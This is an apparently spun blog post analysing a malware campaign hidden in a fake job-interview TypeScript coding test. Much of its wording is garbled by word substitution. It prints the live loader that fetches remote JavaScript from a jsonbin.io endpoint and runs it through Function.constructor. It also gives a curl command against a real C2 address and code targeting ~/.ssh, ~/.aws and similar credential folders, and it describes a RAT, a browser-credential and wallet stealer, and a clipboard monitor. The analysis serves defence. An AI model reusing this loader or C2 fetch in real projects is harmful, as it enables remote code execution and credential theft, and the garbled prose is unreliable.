How to compromise your system with a job interview

Aug 20, 2026 10:50 PM - 1 hour ago 1

How to discuss your strategy pinch a occupation interview

Table of contents

How it begins
A person look: 2nd shape loader
Some precaution for adjacent time
What now

The existent business connected the IT occupation marketplace is hard. So you are fortunate erstwhile a recruiter connected LinkedIn reaches retired to you having a suitable match for a caller position based connected your anterior experience. It mightiness not beryllium what it seems astatine a first glance.

“A applicable opportunity” pinch part-time distant activity and a awesome hourly compensation is what surely pulls a batch of existent Software Engineers into the speech erstwhile a caller occupation connection connected LinkedIn comes successful - truthful it happened to a friend of mine. The occupation connection was matching very good pinch the erstwhile acquisition and paired pinch speeding up the question and reply process pinch a quickly sent coding situation aft a mates of messages connected LinkedIn.

Info

The first interaction was made successful the sanction of a institution that did not cognize astir this. So it is axenic phishing conscionable to bargain your secrets and credentials. The institution is good alert of that and already published a post connected LinkedIn explaining the situation.

Before you commencement pinch the test, you mightiness beryllium suspicious astir the following:

The personification contacting you is not portion of the institution connected LinkedIn
There is nary first “Get to cognize you”-call earlier you person the coding test
The trial mightiness beryllium successful a different programming connection than you’re skilled in
The codification is disposable connected Bitbucket, which IMHO is uncommon
The sender email reside is simply a @gmail.com alternatively of an charismatic 1 from the company

Hindsight is 20/20 truthful nary judging here.

How it begins

The task is to lick various problems and widen logic successful a fixed TypeScript codebase. The task you person is

about 180 files
a operation of dormant and moving code
no obfuscation aliases minification

.. but pinch immoderate calls to outer https://api.jsonbin.io endpoints. If you did not publication the 180 files of code, you are hooked.

Here is the fishy codification portion that starts downloading further packages to inspect your system.

Warning

That is the endpoint, that ships much garbage. Watch out! The complete root codification tin beryllium recovered successful this Bitbucket repository.

1 2 3 4 5 6 7

const initPriceConfig = async () => { const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d"; const res = (await axios.get(`${src}`)); const handler = new (Function.constructor)('require', res.data.record.model); if (handler) handler(require); }; initPriceConfig();

The soul logic of the exertion ever runs this usability first by executing npm tally dev, npm start, and truthful on. As it hands require in, it can:

require('child_process') for ammunition out
require('fs') for read/walk the filesystem, constitute persistence
require('net')/require('https') to unfastened its ain exfiltration channel
read process.env directly, which successful this app intends MONGO_URI, JWT_SECRET, SENDGRID_API_KEY, CLOUDINARY_API_SECRET, PAYTM_MERCHANT_KEY

A batch of things you desperately do not want to hap connected your system.

A person look: 2nd shape loader

The consequence from the jsonbin.io endpoint is efficaciously a remote-code execution loader. The record.model payload is 24,686 chars of obfuscator.io JavaScript wrapped astir a mini webpack bundle.

After deobfuscating the returned payload we get different bunch of obfuscated JavaScript. This codification pulls information from the C2 (Command & Control) server http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5.

I was capable to propulsion the adjacent portion of codification utilizing this

1 2 3 4 5 6 7

curl -sS -v --max-time 30 \ -H 'Authentication: jwt' \ -H 'Accept: application/json, text/plain, */*' \ -A 'axios/1.5.3' \ -D headers.txt \ -o body.bin \ 'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'

It needs an Authentication header, pinch jwt arsenic the token. This endpoint gives more obfuscated JavaScript code, successful peculiar the pursuing 4 modules:

scdata: an interactive RAT (Remote Access Trojan)
node-pty afloat shell, ssh2 for pivoting and PEM cardinal theft, screenshot-desktop+sharp for surface capture, clipboardy, and @nut-tree-fork/nut-js for synthetic keyboard and mouse. It besides fingerprints for VM vs. bare metal.

ldata: browser credential and wallet stealer.
Chrome/Edge/Brave/LT crossed each 3 OSes, each profile: Login Data, Web Data, Local Extension Settings LevelDB stores, and macOS login.keychain. It tin target 28 wallet extensions for illustration MetaMask, Phantom, Coinbase, Binance, TronLink, Trust, Keplr, Coin98, OKX, Rabby, and 18 more. It loops indefinitely, re-uploading astir each minute.

File grabber: walks the location directory
It tries to find private key, secret phrase, *metamask*, bitcoin, solana, .env, *.pem, *.p12, *.pfx, positive documents and images, and full .ssh, .aws, .gnupg and .docker directories. And, it enumerates each thrust letters connected Windows.

Clipboard monitor: show your clipboard
It polls the clipboard and beacons it out, hiding down the log sanction npm-compiler.log.

When the unfortunate connects retired to 147.189.174.138:7321, the server sees the root reside connected the accepted socket, precisely arsenic immoderate web server sees a visitor’s IP. No discovery, nary scanning, nary registration of an address. This is precisely why outbound-only creation is truthful convenient for the attacker: it useful down NAT, CGNAT, a firm proxy, aliases a location router pinch zero configuration, and it doesn’t matter if the victim’s IP changes.

You opened the doorway to hellhole while you conscionable wanted to get a job.

Why tin it entree each your files?

The malware gets the location directory of the existent personification and past builds the paths to look at.

1 2 3 4 5 6 7 8

rootDir = os.userInfo().homedir + '', configDir = [ path.join(os.homedir(), ".aws"), path.join(os.homedir(), ".ssh"), path.join(os.homedir(), ".azure"), path.join(os.homedir(), ".foundry"), path.join(os.homedir(), ".config"), //... ]

It ne'er asks for elevation. It doesn’t request root, UAC, aliases sudo, because thing it wants is root-owned. SSH keys, AWS credentials, browser profiles, wallet data, .env files - each of it is user-owned by design, because you request to publication it routinely. A process moving nether your relationship inherits that access. Node isn’t doing thing exotic present arsenic feline ~/.ssh/id_rsa from a ammunition would activity identically.

On Windows it goes further than home, enumerating thrust letters via PowerShell and calling scanDir connected each root, truthful mapped web drives and secondary disks are successful scope too.

Some precaution for adjacent time

A mates of things could person helped, though location is ne'er 100% protection. You would conscionable not expect specified a point from a portion of codification you get for a occupation opportunity.

AI: a anemic protection
Ask your AI of prime to scan the task for immoderate anomalies - obfuscated code, minifications, calls to outer endpoints, different codification patterns, etc. This is only a partial solution, arsenic it would show you the telephone to the jsonbin.io but it cannot spot what the returned values are.
Docker: a partially anemic protection
Putting things into Docker and only executing the codification wrong isolates your big strategy and does not uncover immoderate stored concealed - arsenic long as you do not equine big information into the container.
Vagrant: astir apt your champion choice
Running the codification successful a wholly isolated strategy mightiness moreover beryllium the champion choice. Snapshot your VM earlier and reconstruct it afterwards. If there is nary UI/Desktop situation the module for leaking browser information aliases screenshots is self-limiting. Still, the RAT and record grabber work.

Note that the RAT actively fingerprints for VM usage. It runs system_profiler, sounds /proc/cpuinfo, and greps for vmware, qemu, microsoft corporation, past tags the beacon (VM) aliases (Local). That emblem astir apt feeds usability triage: a VM is much apt to beryllium a sandbox and little apt to clasp existent wallets, truthful it whitethorn get deprioritised aliases handled much carefully.

A statement connected the AI part: Claude Code was not capable to observe immoderate strange things erstwhile conscionable prompted to scan the codification guidelines for different patterns.